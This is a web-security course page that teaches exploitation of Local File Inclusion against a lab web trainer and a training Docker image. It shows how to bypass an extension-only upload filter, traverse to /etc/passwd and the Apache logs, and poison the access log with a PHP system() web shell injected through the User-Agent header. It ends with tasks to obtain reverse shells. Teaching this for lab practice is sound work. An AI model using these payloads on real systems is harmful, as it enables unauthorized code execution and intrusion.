Skip to content

Exploiting LFI

So we have used RFI to get a shell on a remote machine. This is a serious vulnerability, but is becoming rarer as the default settings for web content rendering systems, such as PHP, become more sensible.

In next set of steps we will look at methods we can use to get a shell using LFI, while these may not always be possible, the process can be applied to any interesting pages containing potential includes discovered during the recon process.

Strategies for exploiting through Local File Includes

Unlike RFI, with a Local includes we can only access files that are on the target system. LFI based directory traversal allows us to read files elsewhere on the system, and if we can find a way to get upload our reverse shell script, then we should also be able to get a shell.

For example, consider a situation where the web server also has File Transfer Protocol (FTP) enabled. If the upload directory is accessible via directory traversal, we could upload a PHP-based shell script, traverse to the malicious file, and gain shell access to the system.

Another situation where LFI can be exploited is if we can write to a file somewhere on the system (usually these are log files), In this case we can attempt a log file poisoning attack, injecting code that allows us to execute commands into the log file. Then accessing it via LFI to compromise the system

Finding a place we can write to

However, not all servers will have FTP, and even fewer will let us upload without credentials. So for our strategy to get out foothold needs to ask the following questions:

  • Can we upload files to the webserver?
    • If so we may be able to traverse to wherever the file is kept. If we can upload PHP files its an easy win.
    • We may have to do a bit of thinking here, what happens if we cannot directly upload PHP files, can we get something else there to stage our attack.
  • Can we write to files on the webserver?
    • Again we can traverse to the writable location, download the reverse shell and win.
    • Good candidates here are the log files. While the location will differ from system to system, you should be able to identify the type of system during the reconnaissance process and work out likely locations. Things like the HTTP error logs are great candidates here.

Important

So what we are doing here, is breaking our attack into two stages. Having identified that a Local File includes style attack will allow us to view (and potentially execute) files on the remote system we are going to.

  1. Upload the Payload to the server. This might be through image or document upload, or through other services like unsecured FTP servers.

  2. Use the LFI to view and execute the file.

Example: Dropping a shell using Upload functionality

In So we have found an LFI style attack on the Web Trainer. How can we leverage this to get a remote shell on the target system?

The first piece of the puzzle is how to get a script onto the server. On the web trainer there is an Image upload function, this seems like a good candidate to use to upload our script.

Lets first see what happens when we upload a "Legitimate" image.

Upload the CUEH Logo

That works, and better still we an now infer the path to the uploads directory, by looking at the HTML for the image preview.

Image Upload Location

Uploading a PHP script

In this example, I am going to try to get the server to display the PHP info page.

I first create a simple file "payload.php" that will call the phpinfo() function.

<?php
phpinfo();
?>

Note

We are ghoing to be using a simple PHP script here. When it comes to getting a shell, we can use the same PHP reverse shell script that we used in the RFI step.

Lets try to upload the PHP script itself, this time we get an error message, apparently our Hacking attempt has been noticed and Logged (We will come back to that later).

PHP File upload denied

So we need to work out a way of bypassing any upload restrictions, depending on what is happening in the file upload scripts this can take a lot of trial and error. We will take a look at some strategies for protecting file uploads later.

However, in this case the protection meninism just checks the Extension of the file. So we will bypass the filter by changing the extension of the file from .php to .jpg.

We get a message that our file has been uploaded, and are given a preview containing the location of the file. But, if we try to view this, the browser shows an error.

PHP Upload Success

Using LFI to display phpinfo() via a file upload

We do know that the site can be exploited via LFI, so lets go back to the vulnerable page and see if we can get the file to load that way.

We need to work out the correct URL to go to:

  • LFI page is at http://172.18.0.1/includes.php?lang=foo.txt
  • Query string for the includes in ?lang=<payload>
  • Uploaded script is at http://172.18.0.1/uploads/payload.jpg

Therefore the URL to get the script to run is http://172.18.0.1/includes.php?lang=uploads/payload.jpg Remember, that we will also need to URL encode the payload here to escape the slash. So our final URL becomes

http://172.18.0.1/includes.php?lang=uploads%2Fevil.jpg

Calling this get get the Information page shown

PHP Info, Included in LFI page

Task

Use the image uploaed functionality to upload a copy of the Pentest Monkey shell to the server. Try to get remote code execution through LFI, and the shell you just uploaded

Log file poisoning

If we are not able to upload files to the server, we may still be able to exploit the system using LFI if we can write to a file somewhere on the system. This approach is commonly known as Log file poisoning (However, its not just logs that are susceptible, things like email messages have also been used)

The approach here is to try to get PHP to run the system() function. This will run a command on the server.

Documentation for the system command

PHP Documentation Notice that there are several big red warnings about letting users submit data.

To allow us to submit data to the system command, we can make use Request parameters. For example, the following code will run system() with whatever we put in the payload parameter of a GET request.

<?php 
system($_GET['payload']);
?>

Finding a Log file to poison.

This is the difficult part, sometimes the log file is obvious (for example shown in error messages), but often we need to try to guess likely locations. Having a well structured reconnaissance process can help us determine versions of software installed, we can then read the docs (or google) for the service to determine log locations.

Lets see if the HTTP logs are available on the web trainer, we know that:

  • Its based on Debian
  • The Web server is Apache

So it seems likely that the logs will live in /var/log/apache2/ Lets try to read the Apache "access.log" via our LFI using the following URL

http://172.18.0.1/includes.php?lang=../../../../../var/log/apache2/access.log

Unfortunately we get an error, saying the "file is not found". In this example trying the other likely logs for Apache also gives us no joy.

Note

Due to the way the Web Trainer and logging in docker works, we get "file not found". This is because by default Docker will forward the logs to terminal. On other systems where logging is more standard you may get a "Permission denied" error.

Log File Poisoning Example

Lets look through a log file poisoning Example to see how it works.

Docker Image

I haven't built log file poisining into the web trainer. You can run an example with

docker run --rm  dang42/245_ctf_lfi_apache

Finding the Log file to poison

Here we have a pretty standard LFI style vulnerability. Modifying the path in the dropdown box gives us access to the /etc/passwd file.

Accessing the /etc/passwd file

Our next job is to work out what we can do with it. The easy methods are not available:

  • Remote Includes are disabled
  • No Upload functionality

So we need to think about how to approach the problem in a different way. We know that the server is running Linux, PHP and Apache. So lets try looking for log files we can read. By default the apache logs live in:

  • /var/log/apache2/access.log Log connections
  • /var/log/apache2/error.log Log Errors.

We also know that we can write to these Logs, Just by visiting a page.. We can confirm this by trying to navigate to some page and looking for it in the logs.

Here I have tried to go to "http://127.0.0.1/BLEH" (which doesn't exist). We can see the failed call in the access log. Which means we can successfully write to the file (and view the output)

Controlling input to the Log

Getting code to execute

Our next piece of the puzzle is to try and get code to execute. In this case a PHP based payload (as that is what is running on the server)

However, we have two issues.

  1. We cannot upload a full shell (like pentest monkey, as its too large)
  2. Trying to upload something via the URL is not going to work for us here.

    Why cant we use the URL?

    Why cant we use the URL? What is stopping us here?

    Answer

    There are a couple of things. Firstly our payload contains spaces (which are not allowed in URLS) Secondly there are some special characters in the payload that URL Encoding will remove.

To address the first problem Lets settle on a more simple payload here, and try to execute the phpinfo() command

The second problem takes a bit more thinking about. However, looking through the logs we can see there is something we can control, that is a text based string (the User-agent)

192.168.253.1 - - [08/Nov/2020:12:33:36 +0000] "GET /BLEH HTTP/1.1" 404 500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0" 

We can modify the User-Agent using the python requests library.

>>> import requests
>>> URL = "http://192.168.253.130/evil"   #URL to Visit
>>> ua = {"User-Agent": "<?php phpinfo() ?>"}  #Set our Useragent String
>>> r = requests.get(URL, headers=ua)  #Send request with UA.

And Now when we view the log file, we get the PHP info page displayed...

Successful Injection of PHP Info

Getting RCE

Displaying the info page is all good. But we want to get Remote Code execution on the server.

Remember that the PHP system() function will allow us to run commands on the remote machine.

Lets modify our payload to allow us to run commands through system

"<p><?php system($_GET["payload"]);?></p>"

Which we can submit through our python script

>>> ua = {"User-Agent": "<p><?php system($_GET['payload']);?></p>"}
>>> r = requests.get(URL, headers=ua)

Note

I have added

(paragraph) tags around the system call. Including the Log destroys all of the (\n based) line breaks, so this may make it easier to see WHERE in the file the data is.

Tip

I have also restarted the docker image. This will clear the log and stop you having to scroll too much. Obviously we dont have this luxury on a real remote server.

Now when viewing the included file, we are able to execute commands using the pyaload URL parameter.

For example, we can run the ls command to list all files in the web directory, by visiting http://127.0.0.1/?lang=../../../../../../../../var/log/apache2/access.log&payload=ls

Or other system commands (for example which &payload=which%20nc

Running LS through a log file

Dropping a shell

Using the log file poisoning examlple, Try to get a shell on the remote server

Hints:

  • Think back to the netcat examples

Summary

In this article we have looked at how to get Remote code execution VIA image uploads. In this article we looked at some more advanced ways of getting remote code execution using LFI. This is a pretty cool (in my opinion) vulnerability, that has been present in several real world examples.

Back to top